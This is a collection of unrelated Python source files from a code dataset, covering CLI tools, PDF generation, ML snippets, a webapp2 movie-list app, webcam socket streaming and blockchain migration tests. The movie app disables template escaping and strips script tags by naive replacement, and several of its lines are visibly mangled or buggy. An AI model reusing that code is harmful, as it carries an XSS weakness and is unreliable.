main()\n","sub_path":"perseus/reduction/perseus_reduction_map_regrids_roy.py","file_name":"perseus_reduction_map_regrids_roy.py","file_ext":"py","file_size_in_byte":4713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"335080640","text":"import sys\n\nimport click\nfrom tabulate import tabulate\n\nfrom . import admin\nfrom ...session import Session\nfrom ..pretty import print_error\n\n\n@admin.command()\n@click.option('-i', '--id', 'agent_id', required=True,\n help='The agent Id to inspect.')\ndef agent(agent_id):\n '''\n Show the information about the given agent.\n '''\n fields = [\n ('ID', 'id'),\n ('Status', 'status'),\n ('Region', 'region'),\n ('First Contact', 'first_contact'),\n ('Total CPU Cores', 'cpu_slots'),\n ('Allocated CPU Cores', 'used_cpu_slots'),\n ('CPU Usage (%)', 'cpu_cur_pct'),\n ('Total Memory (MiB)', 'mem_slots'),\n ('Allocated Memory (MiB)', 'used_mem_slots'),\n ('Used Memory (MiB)', 'mem_cur_bytes'),\n ('Total GPU Cores', 'gpu_slots'),\n ('Used GPU Cores', 'used_gpu_slots'),\n ]\n with Session() as session:\n try:\n agent = session.Agent(agent_id)\n info = agent.info(fields=(item[1] for item in fields))\n except Exception as e:\n print_error(e)\n sys.exit(1)\n rows = []\n for name, key in fields:\n if key == 'mem_cur_bytes' and info[key] is not None:\n info[key] = round(info[key] / 2 ** 20, 1)\n rows.append((name, info[key]))\n print(tabulate(rows, headers=('Field', 'Value')))\n\n\n@admin.command()\n@click.option('-s', '--status', type=str, default='ALIVE',\n help='Filter agents by the given status.')\ndef agents(status):\n '''\n List and manage agents.\n (admin privilege required)\n '''\n fields = [\n ('ID', 'id'),\n ('Status', 'status'),\n ('Region', 'region'),\n ('First Contact', 'first_contact'),\n ('Total CPU Cores', 'cpu_slots'),\n ('Allocated CPU Cores', 'used_cpu_slots'),\n ('CPU Usage (%)', 'cpu_cur_pct'),\n ('Total Memory (MiB)', 'mem_slots'),\n ('Allocated Memory (MiB)', 'used_mem_slots'),\n ('Used Memory (MiB)', 'mem_cur_bytes'),\n ('Total GPU Cores', 'gpu_slots'),\n ('Used GPU Cores', 'used_gpu_slots'),\n ]\n with Session() as session:\n try:\n items = session.Agent.list(status, fields=(item[1] for item in fields))\n except Exception as e:\n print_error(e)\n sys.exit(1)\n if len(items) == 0:\n print('There are no matching agents.')\n return\n for item in items:\n if item['mem_cur_bytes'] is not None:\n item['mem_cur_bytes'] = round(item['mem_cur_bytes'] / 2 ** 20, 1)\n print(tabulate((item.values() for item in items),\n headers=(item[0] for item in fields)))\n","sub_path":"src/ai/backend/client/cli/admin/agents.py","file_name":"agents.py","file_ext":"py","file_size_in_byte":2709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"162719509","text":"import os\nimport sys\nimport cgi\nimport cStringIO\nimport logging\n\nimport xhtml2pdf.pisa as pisa\n\npisa.showLogging()\ndef create_pdf_from_data(data,dest):\n pdf = pisa.CreatePDF(\n cStringIO.StringIO(data),\n file(dest, \"wb\")\n )\n if pdf.err:\n dumpErrors(pdf)\n else:\n pisa.startViewer(dest)\n\ndef create_pdf_from_url(url,dest):\n import urllib\n pdf = pisa.CreatePDF(\n urllib.urlopen(url),\n file(dest, \"wb\"),\n log_warn = 1,\n log_err = 1,\n path = url,\n link_callback = pisa.pisaLinkLoader(url).getFileName\n )\n\n dumpErrors(pdf)\n if not pdf.err:\n pisa.startViewer(dest)","sub_path":"libs/pdf.py","file_name":"pdf.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"561153479","text":"import numpy as np\nimport tensorflow as tf\n\n\ndef value_and_grad(objective):\n \"\"\"Return a function that returns both value and gradient.\n\n Suitable for use in scipy.optimize\n\n Parameters\n ----------\n objective : callable\n Function to compute the gradient. It must be real-valued.\n\n Returns\n -------\n objective_with_grad : callable\n Function that takes the argument of the objective function as input\n and returns both value and grad at the input.\n \"\"\"\n def objective_with_grad(velocity):\n if isinstance(velocity, np.ndarray):\n velocity = tf.Variable(velocity)\n with tf.GradientTape() as t:\n t.watch(velocity)\n loss = objective(velocity)\n return loss.numpy(), t.gradient(loss, velocity).numpy()\n return objective_with_grad\n\n\ndef jacobian(f):\n \"\"\"Return a function that returns the jacobian of a function f.\"\"\"\n def jac(x):\n \"\"\"Return the jacobian of f at x.\"\"\"\n if isinstance(x, np.ndarray):\n x = tf.Variable(x)\n with tf.GradientTape() as g:\n g.watch(x)\n y = f(x)\n return g.jacobian(y, x)\n return jac\n","sub_path":"geomstats/_backend/tensorflow/autograd.py","file_name":"autograd.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"145389403","text":"#!/usr/bin/env python\nimport os\nimport jinja2\nimport webapp2\nfrom models import Movie\n\ntemplate_dir = os.path.join(os.path.dirname(__file__), \"templates\")\njinja_env = jinja2.Environment(loader=jinja2.FileSystemLoader(template_dir), autoescape=False)\n\nclass BaseHandler(webapp2.RequestHandler):\n def write(self, *a, **kw):\n return self.response.out.write(*a, **kw)\n\n def render_str(self, template, **params):\n t = jinja_env.get_template(template)\n return t.render(params)\n\n def render(self, template, **kw):\n return self.write(self.render_str(template, **kw))\n\n def render_template(self, view_filename, params=None):\n if params is None:\n params = {}\n template = jinja_env.get_template(view_filename)\n return self.response.out.write(template.render(params))\n\nclass MainHandler(BaseHandler):\n def get(self):\n return self.render_template(\"intro.html\")\n\nclass AddHandler(BaseHandler):\n def post(self):\n title = self.request.get(\"title\")\n rating = self.request.get(\"rating\")\n thumbnail = self.request.get(\"thumbnail\")\n description = self.request.get(\"description\")\n\n if \"\", \"\")\n thumbnail = description.replace(\"\", \"\")\n description = description.replace(\"\", \"\")\n rating = rating.replace(\"\", \"\")\n\n movie = Movie(title=title, rating=rating, thumbnail=thumbnail, description=description)\n\n movie.put()\n return self.redirect_to(\"list\")\n\nclass EditHandler(BaseHandler):\n def get(self, movie_id):\n movie = Movie.get_by_id(int(movie_id))\n\n params = {\"movie\" : movie}\n\n return self.render_template(\"edit_movie.html\", params=params)\n\n def post(self, movie_id):\n title = self.request.get(\"title\")\n rating = self.request.get(\"rating\")\n description = self.request.get(\"description\")\n movie = Movie.get_by_id(int(movie_id))\n\n if \"\", \"\")\n description = description.replace(\"\", \"\")\n rating = rating.replace(\"\", \"\")\n\n movie.title = title\n movie.rating = rating\n movie.description = description\n movie.put()\n return self.redirect_to(\"list\")\n\nclass MovieListHandler(BaseHandler):\n def get(self):\n movieList = Movie.query(Movie.deleted==False).fetch()\n params = {\"movieList\": movieList}\n return self.render_template(\"movie_list.html\", params=params)\n\nclass DeleteMovieHandler(BaseHandler):\n def get(self, movie_id):\n movie = Movie.get_by_id(int(movie_id))\n movie.deleted = True\n movie.put()\n return self.redirect_to(\"list\")\n\nclass DeletedMoviesHandler(BaseHandler):\n def get(self):\n movieListDeleted = Movie.query(Movie.deleted==True).fetch()\n params = {\"movieListDeleted\": movieListDeleted}\n return self.render_template(\"deleted_Movie_list.html\", params=params)\n\nclass UndeleteMovieHandler(BaseHandler):\n def get(self, movie_id):\n movie = Movie.get_by_id(int(movie_id))\n movie.deleted = False\n movie.put()\n return self.redirect_to(\"trash\")\n\nclass PermanentlyDeleteMovieHandler(BaseHandler):\n def get(self, movie_id):\n movie = Movie.get_by_id(int(movie_id))\n movie.key.delete()\n return self.redirect_to(\"trash\")\n\nclass DeleteTrashHandler(BaseHandler):\n def get(self):\n movieListDeleted = Movie.query(Movie.deleted==True).order(Movie.title).fetch()\n for item in movieListDeleted:\n item.key.delete()\n return self.redirect_to(\"trash\")\n\nclass deleteAllMoviesHandler(BaseHandler):\n def get(self):\n movieList = Movie.query(Movie.deleted==False).fetch()\n for item in movieList:\n item.deleted = True\n item.put()\n return self.redirect_to(\"list\")\n\nclass restoreAllMoviesHandler(BaseHandler):\n def get(self):\n movieListDeleted = Movie.query(Movie.deleted==True).fetch()\n for item in movieListDeleted:\n item.deleted = False\n item.put()\n return self.redirect_to(\"trash\")\n\nclass DoneMovieHandler(BaseHandler):\n def get(self, movie_id):\n movie = Movie.get_by_id(int(movie_id))\n movie.done = \"Yes\"\n movie.put()\n return self.redirect_to(\"list\")\n\nclass SortMovieListByTitleUP(BaseHandler):\n def get(self):\n movieList = Movie.query(Movie.deleted==False).order(Movie.title).fetch()\n params = {\"movieList\": movieList}\n return self.render_template(\"movie_list.html\", params=params)\n\nclass SortMovieListByTitleDOWN(BaseHandler):\n def get(self):\n movieList = Movie.query(Movie.deleted==False).order(-Movie.title).fetch()\n params = {\"movieList\": movieList}\n return self.render_template(\"movie_list.html\", params=params)\n\nclass SortMovieListByRatingUP(BaseHandler):\n def get(self):\n movieList = Movie.query(Movie.deleted==False).order(Movie.rating).fetch()\n params = {\"movieList\": movieList}\n return self.render_template(\"movie_list.html\", params=params)\n\nclass SortMovieListByRatingDOWN(BaseHandler):\n def get(self):\n movieList = Movie.query(Movie.deleted==False).order(-Movie.rating).fetch()\n params = {\"movieList\": movieList}\n return self.render_template(\"movie_list.html\", params=params)\n\nclass SortMovieListByStatusUP(BaseHandler):\n def get(self):\n movieList = Movie.query(Movie.deleted==False).order(Movie.done).fetch()\n params = {\"movieListDeleted\": movieListDeleted}\n return self.render_template(\"deleted_Movie_list.html\", params=params)\n\nclass SortMovieListByStatusDOWN(BaseHandler):\n def get(self):\n movieList = Movie.query(Movie.deleted==False).order(-Movie.done).fetch()\n params = {\"movieListDeleted\": movieListDeleted}\n return self.render_template(\"deleted_Movie_list.html\", params=params)\n\nclass SortMovieListByTitleUP_del(BaseHandler):\n def get(self):\n movieListDeleted = Movie.query(Movie.deleted==False).order(Movie.title).fetch()\n params = {\"movieListDeleted\": movieListDeleted}\n return self.render_template(\"deleted_Movie_list.html\", params=params)\n\nclass SortMovieListByTitleDOWN_del(BaseHandler):\n def get(self):\n movieListDeleted = Movie.query(Movie.deleted==False).order(-Movie.title).fetch()\n params = {\"movieListDeleted\": movieListDeleted}\n return self.render_template(\"deleted_Movie_list.html\", params=params)\n\nclass SortMovieListByRatingUP_del(BaseHandler):\n def get(self):\n movieListDeleted = Movie.query(Movie.deleted==False).order(Movie.rating).fetch()\n params = {\"movieListDeleted\": movieListDeleted}\n return self.render_template(\"deleted_Movie_list.html\", params=params)\n\nclass SortMovieListByRatingDOWN_del(BaseHandler):\n def get(self):\n movieListDeleted = Movie.query(Movie.deleted==False).order(-Movie.rating).fetch()\n params = {\"movieListDeleted\": movieListDeleted}\n return self.render_template(\"deleted_Movie_list.html\", params=params)\n\nclass SortMovieListByStatusUP_del(BaseHandler):\n def get(self):\n movieListDeleted = Movie.query(Movie.deleted==False).order(Movie.done).fetch()\n params = {\"movieListDeleted\": movieListDeleted}\n return self.render_template(\"deleted_Movie_list.html\", params=params)\n\nclass SortMovieListByStatusDOWN_del(BaseHandler):\n def get(self):\n movieListDeleted = Movie.query(Movie.deleted==False).order(-Movie.done).fetch()\n params = {\"movieListDeleted\": movieListDeleted}\n return self.render_template(\"deleted_Movie_list.html\", params=params)\n\napp = webapp2.WSGIApplication([\n webapp2.Route('/', MainHandler),\n webapp2.Route('/add', AddHandler),\n webapp2.Route('/movie_list', MovieListHandler, name=\"list\"),\n webapp2.Route('/movie//delete', DeleteMovieHandler),\n webapp2.Route('/movie//edit', EditHandler),\n webapp2.Route('/del_all', deleteAllMoviesHandler),\n webapp2.Route('/trash', DeletedMoviesHandler, name=\"trash\"),\n webapp2.Route('/movie//restore', UndeleteMovieHandler),\n webapp2.Route('/restore_all', restoreAllMoviesHandler),\n webapp2.Route('/movie//permanently_delete', PermanentlyDeleteMovieHandler),\n webapp2.Route('/empty_trash', DeleteTrashHandler),\n webapp2.Route('/movie//done', DoneMovieHandler),\n webapp2.Route('/sortTitleUP', SortMovieListByTitleUP),\n webapp2.Route('/sortTitleDOWN', SortMovieListByTitleDOWN),\n webapp2.Route('/sortRatingUP', SortMovieListByRatingUP),\n webapp2.Route('/sortRatingDOWN', SortMovieListByRatingDOWN),\n webapp2.Route('/sortStatusUP', SortMovieListByStatusUP),\n webapp2.Route('/sortStatusDOWN', SortMovieListByStatusDOWN),\n webapp2.Route('/sortTitleUP_del', SortMovieListByTitleUP_del),\n webapp2.Route('/sortTitleDOWN_del', SortMovieListByTitleDOWN_del),\n webapp2.Route('/sortRatingUP_del', SortMovieListByRatingUP_del),\n webapp2.Route('/sortRatingDOWN_del', SortMovieListByRatingDOWN_del),\n webapp2.Route('/sortStatusUP_del', SortMovieListByStatusUP_del),\n webapp2.Route('/sortStatusDOWN_del', SortMovieListByStatusDOWN_del),\n\n], debug=True)\n","sub_path":"Vaja_21.3_Movie_list/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"541641838","text":"import cv2\nimport time\n\n\nFACE_MODEL_FILE = 'models/haarcascade_frontalface_default.xml'\nEYES_MODEL_FILE = 'models/haarcascade_eye.xml'\n\n#PLATE_FILES = [\n# 'models/haarcascade_licence_plate_rus_16stages.xml',\n# 'models/haarcascade_russian_plate_number.xml',\n# ]\n\n\ndef main():\n\n # load haar cascades model\n faces = cv2.CascadeClassifier(FACE_MODEL_FILE)\n eyes = cv2.CascadeClassifier(EYES_MODEL_FILE)\n #plates = [cv2.CascadeClassifier(p) for p in PLATE_FILES]\n\n # connect to camera\n camera = cv2.VideoCapture(0)\n while not camera.isOpened():\n time.sleep(0.2)\n\n # read and show frames\n while True:\n\n ret, frame = camera.read()\n frame = process(frame, [\n (faces, (255, 255, 0), dict(scaleFactor=1.1, minNeighbors=5, minSize=(30, 30))),\n (eyes, (0, 0, 255), dict(scaleFactor=1.1, minNeighbors=5, minSize=(20, 20))),\n ])\n #frame = process(frame, [\n # (model, (0, 255, 0), dict(scaleFactor=1.1, minNeighbors=5, minSize=(20, 20)))\n # for model in plates\n # ])\n cv2.imshow('Objects', frame)\n\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n # gracefully close\n camera.release()\n cv2.destroyWindows()\n\n\ndef process(frame, models):\n \"\"\"Process initial frame and tag recognized objects.\"\"\"\n\n # 1. Convert initial frame to grayscale\n grayframe = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n for model, color, parameters in models:\n\n # 2. Apply model, recognize objects\n objects = model.detectMultiScale(grayframe, **parameters)\n\n # 3. For every recognized object, draw a rectangle around it\n for (x, y, w, h) in objects:\n cv2.rectangle(frame, (x, y), (x + w, y + h), color, 2) # BGR\n\n # 4. Return initial color frame with rectangles\n return frame\n\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"main_faces_eyes.py","file_name":"main_faces_eyes.py","file_ext":"py","file_size_in_byte":1889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"373997824","text":"#Client 2\r\nimport socket, cv2, numpy , threading\r\n\r\n#Send\r\ndef send():\r\n server_socket = socket.socket()\r\n #To Reuse The Port Again\r\n server_socket .setsockopt(socket.SOL_SOCKET,socket.SO_SNDTIMEO,200000)\r\n server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)\r\n serverip = \"192.168.0.103\"\r\n serverport = 1465\r\n #Connect with Client A \r\n server_socket.connect((serverip,serverport))\r\n #Capture Video and Store Data in video var\r\n video = cv2.VideoCapture(0)\r\n while True:\r\n #Read the Data\r\n ret, frame = video.read()\r\n #Reshape It\r\n frame = frame.reshape((480, 640,3))\r\n #Resize other Window\r\n cv2.namedWindow('Video2', cv2.WINDOW_NORMAL)\r\n cv2.resizeWindow('Video2', 180,180)\r\n cv2.imshow('Video2' , frame)\r\n #Convert Data to Bytes \r\n data = frame.tostring()\r\n if cv2.waitKey(110) == 13:\r\n video.release()\r\n server_socket.close()\r\n break\r\n #Send Data to Client A\r\n server_socket.sendto(data,(serverip,serverport))\r\n cv2.destroyAllWindows()\r\n \r\n#Recive\r\ndef reciver():\r\n client_socket = socket.socket()\r\n #To Reuse The Port Again\r\n client_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)\r\n port = 1412\r\n ip = \"\"\r\n client_socket.bind((ip,port))\r\n client_socket.listen()\r\n session , address = client_socket.accept()\r\n while True:\r\n data = session.recv(921600)\r\n #Convert Bytes data in Numpy Array\r\n frame = numpy.fromstring(data , numpy.uint8)\r\n #Reshape 1D array to 2D array\r\n array_2d = numpy.reshape(frame, (-1, 2))\r\n #Reshape to 3D Array\r\n array_3d = array_2d.reshape((480, 640,3))\r\n #Image Recived From Server\r\n cv2.imshow('Video1' , array_3d)\r\n #Terminate Image\r\n if cv2.waitKey(110) == 13:\r\n print(\"Connection Closed!\")\r\n break\r\n else:\r\n pass\r\n cv2.destroyAllWindows()\r\n \r\n\r\nthreading.Thread(target=send).start()\r\nthreading.Thread(target=reciver).start()\r\n","sub_path":"Client B Task 3.py","file_name":"Client B Task 3.py","file_ext":"py","file_size_in_byte":2214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"310518424","text":"from django.shortcuts import render\n\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom rest_framework import status\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom rest_framework import generics\nfrom universidad.models import Facultad\nfrom notificacion.models import Notificacion\nfrom v1_api.serializers import FacultadSerializer, NotificacionSerializer\n\npag = 5\n\n@api_view(['GET'])\ndef get_notificaciones_by_carrera(request,facultad_id,carrera_id):\n paginator = Paginator(Notificacion.objects.filter(carrera_id=carrera_id),pag)\n page_number = request.GET.get('page')\n\n try:\n page = paginator.page(page_number)\n except PageNotAnInteger:\n page = paginator.page(1)\n except EmptyPage:\n page = None\n\n serializer = NotificacionSerializer(page, many=True)\n\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n\n@api_view(['GET'])\ndef get_notificaciones_by_carrera_and_area(request,facultad_id,carrera_id,area_id):\n paginator = Paginator(Notificacion.objects.filter(carrera_id=carrera_id).filter(area_id=area_id),pag)\n page_number = request.GET.get('page')\n\n try:\n page = paginator.page(page_number)\n except PageNotAnInteger:\n page = paginator.page(1)\n except EmptyPage:\n page = None\n\n serializer = NotificacionSerializer(page, many=True)\n\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n\nclass FacultadView(generics.ListAPIView):\n serializer_class = FacultadSerializer\n queryset = Facultad.objects.all()\n\n\n\n","sub_path":"v1_api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"531709683","text":"import torch\nimport numpy as np\nimport torch.nn as nn\nimport matplotlib.pyplot as plt\nimport torch.optim as optim\n\nLEARNING_RATE = 0.000003\nclass Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.f1 = nn.Linear(1, 2)\n self.f2 = nn.Linear(2, 4)\n self.f3 = nn.Linear(4, 8)\n self.f4 = nn.Linear(8, 4)\n self.f5 = nn.Linear(4, 2)\n self.f6 = nn.Linear(2, 1)\n\n def forward(self, x):\n x = torch.relu(self.f1(x))\n x = self.f2(x)\n x = self.f3(x)\n x = self.f4(x)\n x = self.f5(x)\n x = self.f6(x)\n return x\n\nnet = Net()\nX = torch.linspace(0, 10, 100, dtype=torch.float).view([-1, 1])\nY = 5*X*X\nY = Y.view([-1, 1])\n\noptimzer = optim.SGD(net.parameters(), lr=LEARNING_RATE)\ncriterion = nn.MSELoss()\n\nprint(\"before\")\nprint(net.f1.weight, net.f2.weight)\n\nfor i in range(10):\n for j in range(100):\n input_ = X[j]\n target = Y[j]\n optimzer.zero_grad()\n output = net(input_)\n loss = criterion(output, target)\n loss.backward()\n optimzer.step()\n\nY_pred = torch.zeros(Y.size()[0])\nfor i in range(X.size()[0]):\n Y_pred[i] = net(X[i])\n\nprint('after')\nprint(net.f1.weight, net.f2.weight)\nplt.scatter(X, Y)\nplt.scatter(X, Y_pred.detach().numpy())\nplt.show()","sub_path":"pytorch/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"328600538","text":"from flask import Blueprint,Flask,render_template,redirect,url_for,request,flash,session,logging\n\nout_b = Blueprint('out', __name__)\n\nfrom .models import Punctuation_1,Punctuation_2,Create,login_required,A2,B1,B2,Ielts_words,db\n\n \n@out_b.route(\"/out_exclamation/\",methods = ['GET','POST'])\n@login_required\ndef out_exclamation():\n\n infos = Punctuation_1.query.filter_by(author = session['username']).all()\n session['quantity']=len(infos)\n\n if infos:\n \n return render_template('exclamation.html',infos=infos)\n else:\n return render_template('exclamation.html')\n\n\n\n@out_b.route(\"/out_question_circle/\",methods = ['GET','POST'])\n@login_required\ndef out_question_circle():\n\n onfos = Punctuation_2.query.filter_by(author = session['username']).all()\n session['amounts']=len(onfos)\n\n if onfos:\n \n return render_template('question_circle.html',onfos = onfos)\n else:\n return render_template('question_circle.html') ","sub_path":"views/out.py","file_name":"out.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"538134271","text":"#! pytest\n\nimport pytest\nfrom tldeploy.core import (\n NetworkSettings,\n)\nfrom tldeploy.migration import NetworkMigrater, get_last_frozen_status_of_account\n\nfrom tests.currency_network.conftest import (\n NO_ONBOARDER,\n ADDRESS_0,\n deploy_ownable_network,\n deploy_test_network,\n)\n\ntrustlines = [\n (0, 1, 100, 150, False),\n (1, 2, 200, 250, False),\n (3, 2, 300, 350, False),\n (4, 3, 400, 450, True),\n (0, 4, 500, 550, True),\n] # (A, B, clAB, clBA, is_frozen)\n\npending_trustlines_requests = [\n (0, 1, 1000, 1500, 1, 2, False),\n (1, 2, 2000, 2500, 4, 3, False),\n (3, 2, 3000, 3500, 5, 6, False),\n (4, 3, 4000, 4500, 4, 2, False),\n (0, 4, 5000, 5500, 1, 0, False),\n] # (A, B, clAB, clBA, interestAB, interestBA, is_frozen)\n\n\n@pytest.fixture(scope=\"session\")\ndef owner(accounts):\n return accounts[0]\n\n\n@pytest.fixture(scope=\"session\")\ndef new_contract(web3, owner):\n return deploy_ownable_network(\n web3,\n NetworkSettings(custom_interests=True),\n transaction_options={\"from\": owner},\n )\n\n\n@pytest.fixture(scope=\"session\")\ndef old_contract(\n web3,\n accounts,\n chain,\n on_boarders,\n on_boardees,\n creditors,\n debtors,\n debt_values,\n make_currency_network_adapter,\n):\n \"\"\"Create a currency network with on boardees, debts, and trustlines to migrate from\"\"\"\n\n expiration_time = web3.eth.getBlock(\"latest\")[\"timestamp\"] + 1000\n settings = NetworkSettings(expiration_time=expiration_time, custom_interests=True)\n contract = deploy_test_network(web3, settings)\n currency_network = make_currency_network_adapter(contract)\n\n # set on boardees by opening trustlines from on boarder\n for (on_boarder, on_boardee) in zip(on_boarders, on_boardees):\n if on_boarder == NO_ONBOARDER:\n # NO_ONBOARDER is not really an account, and should (can) not send transactions\n # We use `set_account` to set NO_ONBOARDER to on_boardee\n currency_network.set_account(\n on_boarder, on_boardee, creditline_given=1, creditline_received=1\n )\n else:\n currency_network.update_trustline(\n on_boarder,\n on_boardee,\n creditline_given=1,\n creditline_received=1,\n accept=True,\n )\n assert (\n currency_network.get_on_boarder(on_boardee) == on_boarder\n ), \"Setting up the on boarder failed\"\n\n # set debts\n for (creditor, debtor, debt_value) in zip(creditors, debtors, debt_values):\n currency_network.increase_debt(debtor, creditor, debt_value)\n assert (\n currency_network.get_debt(debtor, creditor) == debt_value\n ), \"Failed at setting up debts\"\n\n # set trustlines\n for (A, B, clAB, clBA, is_frozen) in trustlines:\n currency_network.update_trustline(\n accounts[A],\n accounts[B],\n creditline_given=clAB,\n creditline_received=clBA,\n is_frozen=is_frozen,\n accept=True,\n )\n\n # set pending trustline requests\n for (\n A,\n B,\n clAB,\n clBA,\n interest_AB,\n interest_BA,\n is_frozen,\n ) in pending_trustlines_requests:\n currency_network.update_trustline(\n accounts[A],\n accounts[B],\n creditline_given=clAB,\n creditline_received=clBA,\n interest_rate_given=interest_AB,\n interest_rate_received=interest_BA,\n is_frozen=is_frozen,\n accept=False,\n )\n\n chain.time_travel(expiration_time)\n chain.mine_block()\n contract.functions.freezeNetwork().transact()\n return contract\n\n\n@pytest.fixture(scope=\"session\")\ndef old_contract_adapter(old_contract, make_currency_network_adapter):\n return make_currency_network_adapter(old_contract)\n\n\n@pytest.fixture(scope=\"session\")\ndef new_contract_adapter(new_contract, make_currency_network_adapter):\n return make_currency_network_adapter(new_contract)\n\n\n@pytest.fixture(scope=\"session\")\ndef assert_accounts_migrated(new_contract, accounts):\n def assert_migrated():\n for (\n first_user,\n second_user,\n credit_given,\n credit_received,\n is_frozen,\n ) in trustlines:\n (\n effective_credit_given,\n effective_credit_received,\n effective_interest_given,\n effective_interest_received,\n effective_is_frozen,\n *rest,\n ) = new_contract.functions.getAccount(\n accounts[first_user], accounts[second_user]\n ).call()\n assert effective_credit_given == credit_given\n assert effective_credit_received == credit_received\n assert effective_is_frozen == is_frozen\n\n return assert_migrated\n\n\n@pytest.fixture(scope=\"session\")\ndef assert_pending_trusltines_migrated(new_contract_adapter, accounts):\n def assert_migrated():\n # test that the pending trustline updates were properly migrated by accepting them\n assert (\n new_contract_adapter.is_network_frozen() is False\n ), \"Cannot test out the trustlines migration if network is still frozen\"\n\n for (\n A,\n B,\n clAB,\n clBA,\n interest_AB,\n interest_BA,\n is_frozen,\n ) in pending_trustlines_requests:\n new_contract_adapter.update_trustline(\n accounts[B],\n accounts[A],\n creditline_given=clBA,\n creditline_received=clAB,\n interest_rate_given=interest_BA,\n interest_rate_received=interest_AB,\n is_frozen=is_frozen,\n )\n assert new_contract_adapter.check_account(\n accounts[A],\n accounts[B],\n clAB,\n clBA,\n interest_AB,\n interest_BA,\n is_frozen,\n )\n\n return assert_migrated\n\n\n@pytest.fixture(scope=\"session\")\ndef on_boarders(accounts):\n # The first on boarder is necessarily `NO_ONBOARDER`\n # Because two people without on boarders opening a trustline will not have on boarders.\n return [NO_ONBOARDER, accounts[0], accounts[1], accounts[2]]\n\n\n@pytest.fixture(scope=\"session\")\ndef on_boardees(accounts):\n return [accounts[0], accounts[1], accounts[2], accounts[3]]\n\n\n@pytest.fixture(scope=\"session\")\ndef assert_on_boarders_migrated(new_contract, on_boarders, on_boardees):\n def assert_migrated():\n for (on_boarder, on_boardee) in zip(on_boarders, on_boardees):\n assert new_contract.functions.onboarder(on_boardee).call() == on_boarder\n\n return assert_migrated\n\n\n@pytest.fixture(scope=\"session\")\ndef creditors(accounts):\n return [accounts[0], accounts[1], accounts[2]]\n\n\n@pytest.fixture(scope=\"session\")\ndef debtors(accounts):\n return [accounts[1], accounts[2], accounts[3]]\n\n\n@pytest.fixture(scope=\"session\")\ndef debt_values():\n return [123, 456, 789]\n\n\n@pytest.fixture(scope=\"session\")\ndef assert_debts_migrated(\n new_contract, creditors, debtors, debt_values, make_currency_network_adapter\n):\n def assert_debt():\n for (creditor, debtor, debt_value) in zip(creditors, debtors, debt_values):\n assert (\n make_currency_network_adapter(new_contract).get_debt(debtor, creditor)\n == debt_value\n )\n\n return assert_debt\n\n\n@pytest.fixture()\ndef network_migrater(web3, new_contract, owner, old_contract):\n return NetworkMigrater(\n web3,\n old_contract.address,\n new_contract.address,\n transaction_options={\"from\": owner},\n )\n\n\ndef test_migrate_network_accounts(network_migrater, assert_accounts_migrated):\n network_migrater.migrate_accounts()\n # we want to unfreeze_network to truthfully test the `isFrozen` status of trustlines\n network_migrater.unfreeze_network()\n assert_accounts_migrated()\n\n\ndef test_migrate_network_on_boarders(network_migrater, assert_on_boarders_migrated):\n network_migrater.migrate_on_boarders()\n assert_on_boarders_migrated()\n\n\ndef test_migrate_network_debts(network_migrater, assert_debts_migrated):\n network_migrater.migrate_debts()\n assert_debts_migrated()\n\n\ndef test_unfreeze_new_network(network_migrater, new_contract):\n network_migrater.unfreeze_network()\n assert new_contract.functions.isNetworkFrozen().call() is False\n\n\ndef test_remove_owner(network_migrater, new_contract):\n network_migrater.remove_owner()\n assert new_contract.functions.owner().call() == ADDRESS_0\n\n\ndef test_migrate_network_global(\n network_migrater,\n new_contract,\n assert_debts_migrated,\n assert_on_boarders_migrated,\n assert_accounts_migrated,\n assert_pending_trusltines_migrated,\n):\n \"\"\"Test that calling `migrate_network` will migrate accounts, on boarders, debts,\n unfreeze the network and remove the owner\"\"\"\n network_migrater.migrate_network()\n\n assert_accounts_migrated()\n assert_on_boarders_migrated()\n assert_debts_migrated()\n assert_pending_trusltines_migrated()\n assert new_contract.functions.isNetworkFrozen().call() is False\n assert new_contract.functions.owner().call() == ADDRESS_0\n\n\ndef test_get_last_frozen_status_of_account(old_contract_adapter, accounts):\n old_contract_adapter.freeze_network_if_not_frozen()\n for (\n first_user,\n second_user,\n credit_given,\n credit_received,\n is_frozen,\n ) in trustlines:\n assert (\n get_last_frozen_status_of_account(\n old_contract_adapter.contract,\n accounts[first_user],\n accounts[second_user],\n )\n == is_frozen\n )\n assert (\n get_last_frozen_status_of_account(\n old_contract_adapter.contract,\n accounts[second_user],\n accounts[first_user],\n )\n == is_frozen\n )\n\n\ndef test_get_pending_trustline_requests(\n network_migrater, assert_pending_trusltines_migrated\n):\n network_migrater.migrate_trustline_update_requests()\n network_migrater.unfreeze_network()\n 